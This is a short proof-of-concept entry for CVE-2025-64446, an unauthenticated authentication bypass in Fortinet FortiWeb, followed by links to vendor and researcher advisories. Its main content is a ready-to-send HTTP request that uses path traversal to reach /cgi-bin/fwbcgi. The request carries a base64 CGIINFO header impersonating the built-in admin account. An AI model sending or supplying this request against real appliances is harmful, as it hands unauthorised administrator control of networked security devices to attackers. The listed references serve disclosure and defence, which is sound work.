Description
Fortinet FortiWeb 未授权身份验证绕过漏洞（CVE-2025-64446）
Fortinet FortiWeb 未授权身份验证绕过漏洞（CVE-2025-64446）
PoC
GET /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host:
CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://fortiguard.fortinet.com/psirt/FG-IR-25-910
https://nvd.nist.gov/vuln/detail/CVE-2025-64446
https://blog.qualys.com/vulnerabilities-threat-research/2025/11/14/unauthenticated-authentication-bypass-in-fortinet-fortiweb-cve-2025-64446-exploited-in-the-wild
https://bishopfox.com/blog/fortinet-fortiweb-authentication-bypass-cve-2025-64446
https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/
https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/
https://arcticwolf.com/resources/blog/cve-2025-64446/
https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass
https://nsfocusglobal.com/fortinet-fortiweb-authentication-bypass-and-command-injection-vulnerability-cve-2025-64446-cve-2025-58034-notice/